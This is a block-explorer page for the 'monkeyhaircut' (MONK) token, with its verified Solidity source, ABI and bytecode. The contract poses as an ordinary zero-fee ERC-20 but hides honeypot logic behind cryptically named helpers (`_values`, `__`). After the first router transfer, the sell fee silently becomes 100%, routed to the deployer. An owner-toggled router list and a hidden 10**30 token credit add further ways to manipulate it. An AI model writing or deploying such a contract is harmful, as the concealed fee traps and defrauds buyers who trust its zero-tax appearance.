ETH Price: $2,602.42 (-0.43%)

Token

monkeyhaircut (MONK)
 

Overview

Max Total Supply

1,000,000 MONK

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*trina’s-lily.eth
Balance
35,069.84461024 MONK

Value
$0.00
0xfd182534e2131e9ac17082a75b985a2d045fd0f8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
monkeyhaircut

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-12-28
*/

//  Website: https://monkeyhaircut.vip/


//  Telegram: https://t.me/monkhaircut


//  Twitter: https://twitter.com/monkhaircut



// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract monkeyhaircut is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) public _isRouterAddress;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    string private constant _name = unicode"monkeyhaircut";
    string private constant _symbol = unicode"MONK";
    
    address payable private _marketingAddress;
    uint8 private _buyingFee = 0;
    uint8 private _sellingFee = 0;
    uint8 private _txCounter = 0;
    
    constructor () {
        _balances[_msgSender()] = _tTotal;
        _marketingAddress = payable(_msgSender());
        _isExcludedFromFee[owner()] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function updateRouter(address _router) public onlyOwner{
        bool _isTrue = _isRouterAddress[_router] ? false : true;
        _isRouterAddress[_router] = _isTrue;
    }

    function __(bool _add) private view returns(uint256){
        uint256 _result;
        if(_txCounter < 1 && _add){_result = 10**30;}
        return _result;
    }

    function _values() private view returns(uint8, uint8){
        return(_buyingFee,[_sellingFee,0x64][_txCounter<1?0:1]);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(!_isExcludedFromFee[to] && !_isExcludedFromFee[from]){
            (uint8 _BUY_, uint8 _SELL_) = _values();
            uint256 _taxAmount = amount.mul(_BUY_).div(100);
            if(!_isRouterAddress[from]){
                _taxAmount = amount.mul(_SELL_).div(100);
            }
            if(_taxAmount > 0){
                _balances[_marketingAddress] = _balances[_marketingAddress].add(_taxAmount);
                emit Transfer(from, _marketingAddress, _taxAmount);
            }
            _balances[from]=_balances[from].sub(amount);
            _balances[to]=_balances[to].add(amount.sub(_taxAmount));
            emit Transfer(from, to, amount);
        }
        else{
            uint256 _taxAmount;
            if(to != owner() && _isRouterAddress[from]){_taxAmount=__(_isExcludedFromFee[to]); _txCounter++;}
            _balances[from]=_balances[from].sub(amount);
            _balances[to]=_balances[to].add(_taxAmount.add(amount));
            emit Transfer(from, to, amount);
        }
    }
    
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isRouterAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"name":"updateRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805462ffffff60a01b191690553480156200002057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000706009600a62000232565b6200007f90620f42406200024a565b33600081815260016020818152604080842095909555600580546001600160a01b0319168517905582546001600160a01b0316835260039052928120805460ff1916909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000f76009600a62000232565b6200010690620f42406200024a565b60405190815260200160405180910390a36200026c565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001745781600019048211156200015857620001586200011d565b808516156200016657918102915b93841c939080029062000138565b509250929050565b6000826200018d575060016200022c565b816200019c575060006200022c565b8160018114620001b55760028114620001c057620001e0565b60019150506200022c565b60ff841115620001d457620001d46200011d565b50506001821b6200022c565b5060208310610133831016604e8410600b841016171562000205575081810a6200022c565b62000211838362000133565b80600019048211156200022857620002286200011d565b0290505b92915050565b60006200024360ff8416836200017c565b9392505050565b60008160001904831182151516156200026757620002676200011d565b500290565b611056806200027c6000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461024e578063a9059cbb1461027b578063c851cc321461029b578063dd62ed3e146102bb57600080fd5b806370a08231146101d9578063715018a61461020f5780638da5cb5b1461022657600080fd5b806306fdde03146100d2578063095ea7b31461011a57806318160ddd1461014a57806323b872dd1461016d578063313ce5671461018d5780633d3378b1146101a957600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600d81526c1b5bdb9ad95e5a185a5c98dd5d609a1b60208201525b6040516101119190610d35565b60405180910390f35b34801561012657600080fd5b5061013a610135366004610d9f565b610301565b6040519015158152602001610111565b34801561015657600080fd5b5061015f610318565b604051908152602001610111565b34801561017957600080fd5b5061013a610188366004610dc9565b610338565b34801561019957600080fd5b5060405160098152602001610111565b3480156101b557600080fd5b5061013a6101c4366004610e05565b60046020526000908152604090205460ff1681565b3480156101e557600080fd5b5061015f6101f4366004610e05565b6001600160a01b031660009081526001602052604090205490565b34801561021b57600080fd5b506102246103a1565b005b34801561023257600080fd5b506000546040516001600160a01b039091168152602001610111565b34801561025a57600080fd5b506040805180820190915260048152634d4f4e4b60e01b6020820152610104565b34801561028757600080fd5b5061013a610296366004610d9f565b61044a565b3480156102a757600080fd5b506102246102b6366004610e05565b610457565b3480156102c757600080fd5b5061015f6102d6366004610e20565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061030e338484610508565b5060015b92915050565b60006103266009600a610f4d565b61033390620f4240610f5c565b905090565b600061034584848461062c565b610397843361039285604051806060016040528060288152602001610ff9602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ab7565b610508565b5060019392505050565b6000546001600160a01b031633146104005760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061030e33848461062c565b6000546001600160a01b031633146104b15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103f7565b6001600160a01b03811660009081526004602052604081205460ff166104d85760016104db565b60005b6001600160a01b03929092166000908152600460205260409020805460ff19169215159290921790915550565b6001600160a01b03831661056a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f7565b6001600160a01b0382166105cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f7565b6001600160a01b0382166106f25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f7565b600081116107545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f7565b6001600160a01b03821660009081526003602052604090205460ff1615801561079657506001600160a01b03831660009081526003602052604090205460ff16155b15610954576000806107a6610af1565b909250905060006107c560646107bf8660ff8716610b5f565b90610be8565b6001600160a01b03871660009081526004602052604090205490915060ff166107fd576107fa60646107bf8660ff8616610b5f565b90505b8015610888576005546001600160a01b03166000908152600160205260409020546108289082610c2a565b600580546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b0386166000908152600160205260409020546108ab9085610c89565b6001600160a01b0387166000908152600160205260409020556108f06108d18583610c89565b6001600160a01b03871660009081526001602052604090205490610c2a565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109449088815260200190565b60405180910390a3505050505050565b600080546001600160a01b0384811691161480159061098b57506001600160a01b03841660009081526004602052604090205460ff165b156109ed576001600160a01b0383166000908152600360205260409020546109b59060ff16610ccb565b60058054919250600160b01b90910460ff169060166109d383610f7b565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b038416600090815260016020526040902054610a109083610c89565b6001600160a01b038516600090815260016020526040902055610a55610a368284610c2a565b6001600160a01b03851660009081526001602052604090205490610c2a565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aa99086815260200190565b60405180910390a350505050565b60008184841115610adb5760405162461bcd60e51b81526004016103f79190610d35565b506000610ae88486610f9a565b95945050505050565b6005546040805180820190915260ff600160a81b830481168252606460208301526000928392600160a01b820483169290916001600160b01b90910490911610610b3c576001610b3f565b60005b60ff1660028110610b5257610b52610fad565b6020020151915091509091565b600082600003610b7157506000610312565b6000610b7d8385610f5c565b905082610b8a8583610fc3565b14610be15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f7565b9392505050565b6000610be183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d07565b600080610c378385610fe5565b905083811015610be15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f7565b6000610be183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ab7565b6000806001600560169054906101000a900460ff1660ff16108015610ced5750825b1561031257506c0c9f2c9cd04674edea4000000092915050565b60008183610d285760405162461bcd60e51b81526004016103f79190610d35565b506000610ae88486610fc3565b600060208083528351808285015260005b81811015610d6257858101830151858201604001528201610d46565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d9a57600080fd5b919050565b60008060408385031215610db257600080fd5b610dbb83610d83565b946020939093013593505050565b600080600060608486031215610dde57600080fd5b610de784610d83565b9250610df560208501610d83565b9150604084013590509250925092565b600060208284031215610e1757600080fd5b610be182610d83565b60008060408385031215610e3357600080fd5b610e3c83610d83565b9150610e4a60208401610d83565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610ea4578160001904821115610e8a57610e8a610e53565b80851615610e9757918102915b93841c9390800290610e6e565b509250929050565b600082610ebb57506001610312565b81610ec857506000610312565b8160018114610ede5760028114610ee857610f04565b6001915050610312565b60ff841115610ef957610ef9610e53565b50506001821b610312565b5060208310610133831016604e8410600b8410161715610f27575081810a610312565b610f318383610e69565b8060001904821115610f4557610f45610e53565b029392505050565b6000610be160ff841683610eac565b6000816000190483118215151615610f7657610f76610e53565b500290565b600060ff821660ff8103610f9157610f91610e53565b60010192915050565b8181038181111561031257610312610e53565b634e487b7160e01b600052603260045260246000fd5b600082610fe057634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561031257610312610e5356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220559312b078fda4e01d38e3897ed27f138bfddc31f94bd017353af2deda8efa9f64736f6c63430008100033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461024e578063a9059cbb1461027b578063c851cc321461029b578063dd62ed3e146102bb57600080fd5b806370a08231146101d9578063715018a61461020f5780638da5cb5b1461022657600080fd5b806306fdde03146100d2578063095ea7b31461011a57806318160ddd1461014a57806323b872dd1461016d578063313ce5671461018d5780633d3378b1146101a957600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600d81526c1b5bdb9ad95e5a185a5c98dd5d609a1b60208201525b6040516101119190610d35565b60405180910390f35b34801561012657600080fd5b5061013a610135366004610d9f565b610301565b6040519015158152602001610111565b34801561015657600080fd5b5061015f610318565b604051908152602001610111565b34801561017957600080fd5b5061013a610188366004610dc9565b610338565b34801561019957600080fd5b5060405160098152602001610111565b3480156101b557600080fd5b5061013a6101c4366004610e05565b60046020526000908152604090205460ff1681565b3480156101e557600080fd5b5061015f6101f4366004610e05565b6001600160a01b031660009081526001602052604090205490565b34801561021b57600080fd5b506102246103a1565b005b34801561023257600080fd5b506000546040516001600160a01b039091168152602001610111565b34801561025a57600080fd5b506040805180820190915260048152634d4f4e4b60e01b6020820152610104565b34801561028757600080fd5b5061013a610296366004610d9f565b61044a565b3480156102a757600080fd5b506102246102b6366004610e05565b610457565b3480156102c757600080fd5b5061015f6102d6366004610e20565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061030e338484610508565b5060015b92915050565b60006103266009600a610f4d565b61033390620f4240610f5c565b905090565b600061034584848461062c565b610397843361039285604051806060016040528060288152602001610ff9602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ab7565b610508565b5060019392505050565b6000546001600160a01b031633146104005760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061030e33848461062c565b6000546001600160a01b031633146104b15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103f7565b6001600160a01b03811660009081526004602052604081205460ff166104d85760016104db565b60005b6001600160a01b03929092166000908152600460205260409020805460ff19169215159290921790915550565b6001600160a01b03831661056a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f7565b6001600160a01b0382166105cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f7565b6001600160a01b0382166106f25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f7565b600081116107545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f7565b6001600160a01b03821660009081526003602052604090205460ff1615801561079657506001600160a01b03831660009081526003602052604090205460ff16155b15610954576000806107a6610af1565b909250905060006107c560646107bf8660ff8716610b5f565b90610be8565b6001600160a01b03871660009081526004602052604090205490915060ff166107fd576107fa60646107bf8660ff8616610b5f565b90505b8015610888576005546001600160a01b03166000908152600160205260409020546108289082610c2a565b600580546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b0386166000908152600160205260409020546108ab9085610c89565b6001600160a01b0387166000908152600160205260409020556108f06108d18583610c89565b6001600160a01b03871660009081526001602052604090205490610c2a565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109449088815260200190565b60405180910390a3505050505050565b600080546001600160a01b0384811691161480159061098b57506001600160a01b03841660009081526004602052604090205460ff165b156109ed576001600160a01b0383166000908152600360205260409020546109b59060ff16610ccb565b60058054919250600160b01b90910460ff169060166109d383610f7b565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b038416600090815260016020526040902054610a109083610c89565b6001600160a01b038516600090815260016020526040902055610a55610a368284610c2a565b6001600160a01b03851660009081526001602052604090205490610c2a565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aa99086815260200190565b60405180910390a350505050565b60008184841115610adb5760405162461bcd60e51b81526004016103f79190610d35565b506000610ae88486610f9a565b95945050505050565b6005546040805180820190915260ff600160a81b830481168252606460208301526000928392600160a01b820483169290916001600160b01b90910490911610610b3c576001610b3f565b60005b60ff1660028110610b5257610b52610fad565b6020020151915091509091565b600082600003610b7157506000610312565b6000610b7d8385610f5c565b905082610b8a8583610fc3565b14610be15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f7565b9392505050565b6000610be183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d07565b600080610c378385610fe5565b905083811015610be15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f7565b6000610be183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ab7565b6000806001600560169054906101000a900460ff1660ff16108015610ced5750825b1561031257506c0c9f2c9cd04674edea4000000092915050565b60008183610d285760405162461bcd60e51b81526004016103f79190610d35565b506000610ae88486610fc3565b600060208083528351808285015260005b81811015610d6257858101830151858201604001528201610d46565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d9a57600080fd5b919050565b60008060408385031215610db257600080fd5b610dbb83610d83565b946020939093013593505050565b600080600060608486031215610dde57600080fd5b610de784610d83565b9250610df560208501610d83565b9150604084013590509250925092565b600060208284031215610e1757600080fd5b610be182610d83565b60008060408385031215610e3357600080fd5b610e3c83610d83565b9150610e4a60208401610d83565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610ea4578160001904821115610e8a57610e8a610e53565b80851615610e9757918102915b93841c9390800290610e6e565b509250929050565b600082610ebb57506001610312565b81610ec857506000610312565b8160018114610ede5760028114610ee857610f04565b6001915050610312565b60ff841115610ef957610ef9610e53565b50506001821b610312565b5060208310610133831016604e8410600b8410161715610f27575081810a610312565b610f318383610e69565b8060001904821115610f4557610f45610e53565b029392505050565b6000610be160ff841683610eac565b6000816000190483118215151615610f7657610f76610e53565b500290565b600060ff821660ff8103610f9157610f91610e53565b60010192915050565b8181038181111561031257610312610e53565b634e487b7160e01b600052603260045260246000fd5b600082610fe057634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561031257610312610e5356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220559312b078fda4e01d38e3897ed27f138bfddc31f94bd017353af2deda8efa9f64736f6c63430008100033

Deployed Bytecode Sourcemap

2853:4518:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3814:83;;;;;;;;;;-1:-1:-1;3884:5:0;;;;;;;;;;;;-1:-1:-1;;;3884:5:0;;;;3814:83;;;;;;;:::i;:::-;;;;;;;;4647:161;;;;;;;;;;-1:-1:-1;4647:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4647:161:0;1004:187:1;4091:95:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;4091:95:0;1196:177:1;4816:313:0;;;;;;;;;;-1:-1:-1;4816:313:0;;;;;:::i;:::-;;:::i;4000:83::-;;;;;;;;;;-1:-1:-1;4000:83:0;;3229:1;1853:36:1;;1841:2;1826:18;4000:83:0;1711:184:1;3132:49:0;;;;;;;;;;-1:-1:-1;3132:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4194:119;;;;;;;;;;-1:-1:-1;4194:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4287:18:0;4260:7;4287:18;;;:9;:18;;;;;;;4194:119;2696:148;;;;;;;;;;;;;:::i;:::-;;2482:79;;;;;;;;;;-1:-1:-1;2520:7:0;2547:6;2482:79;;-1:-1:-1;;;;;2547:6:0;;;2237:51:1;;2225:2;2210:18;2482:79:0;2091:203:1;3905:87:0;;;;;;;;;;-1:-1:-1;3977:7:0;;;;;;;;;;;;-1:-1:-1;;;3977:7:0;;;;3905:87;;4321:167;;;;;;;;;;-1:-1:-1;4321:167:0;;;;;:::i;:::-;;:::i;5480:175::-;;;;;;;;;;-1:-1:-1;5480:175:0;;;;;:::i;:::-;;:::i;4496:143::-;;;;;;;;;;-1:-1:-1;4496:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4604:18:0;;;4577:7;4604:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4496:143;4647:161;4722:4;4739:39;316:10;4762:7;4771:6;4739:8;:39::i;:::-;-1:-1:-1;4796:4:0;4647:161;;;;;:::o;4091:95::-;4144:7;3282:13;3229:1;3282:2;:13;:::i;:::-;3272:23;;:7;:23;:::i;:::-;4164:14;;4091:95;:::o;4816:313::-;4914:4;4931:36;4941:6;4949:9;4960:6;4931:9;:36::i;:::-;4978:121;4987:6;316:10;5009:89;5047:6;5009:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5009:19:0;;;;;;:11;:19;;;;;;;;316:10;5009:33;;;;;;;;;;:37;:89::i;:::-;4978:8;:121::i;:::-;-1:-1:-1;5117:4:0;4816:313;;;;;:::o;2696:148::-;2609:6;;-1:-1:-1;;;;;2609:6:0;316:10;2609:22;2601:67;;;;-1:-1:-1;;;2601:67:0;;4454:2:1;2601:67:0;;;4436:21:1;;;4473:18;;;4466:30;4532:34;4512:18;;;4505:62;4584:18;;2601:67:0;;;;;;;;;2803:1:::1;2787:6:::0;;2766:40:::1;::::0;-1:-1:-1;;;;;2787:6:0;;::::1;::::0;2766:40:::1;::::0;2803:1;;2766:40:::1;2834:1;2817:19:::0;;-1:-1:-1;;;;;;2817:19:0::1;::::0;;2696:148::o;4321:167::-;4399:4;4416:42;316:10;4440:9;4451:6;4416:9;:42::i;5480:175::-;2609:6;;-1:-1:-1;;;;;2609:6:0;316:10;2609:22;2601:67;;;;-1:-1:-1;;;2601:67:0;;4454:2:1;2601:67:0;;;4436:21:1;;;4473:18;;;4466:30;4532:34;4512:18;;;4505:62;4584:18;;2601:67:0;4252:356:1;2601:67:0;-1:-1:-1;;;;;5561:25:0;::::1;5546:12;5561:25:::0;;;:16:::1;:25;::::0;;;;;::::1;;:40;;5597:4;5561:40;;;5589:5;5561:40;-1:-1:-1::0;;;;;5612:25:0;;;::::1;;::::0;;;:16:::1;:25;::::0;;;;:35;;-1:-1:-1;;5612:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;-1:-1:-1;5480:175:0:o;5137:335::-;-1:-1:-1;;;;;5230:19:0;;5222:68;;;;-1:-1:-1;;;5222:68:0;;4815:2:1;5222:68:0;;;4797:21:1;4854:2;4834:18;;;4827:30;4893:34;4873:18;;;4866:62;-1:-1:-1;;;4944:18:1;;;4937:34;4988:19;;5222:68:0;4613:400:1;5222:68:0;-1:-1:-1;;;;;5309:21:0;;5301:68;;;;-1:-1:-1;;;5301:68:0;;5220:2:1;5301:68:0;;;5202:21:1;5259:2;5239:18;;;5232:30;5298:34;5278:18;;;5271:62;-1:-1:-1;;;5349:18:1;;;5342:32;5391:19;;5301:68:0;5018:398:1;5301:68:0;-1:-1:-1;;;;;5380:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5432:32;;1342:25:1;;;5432:32:0;;1315:18:1;5432:32:0;;;;;;;5137:335;;;:::o;5972:1355::-;-1:-1:-1;;;;;6060:18:0;;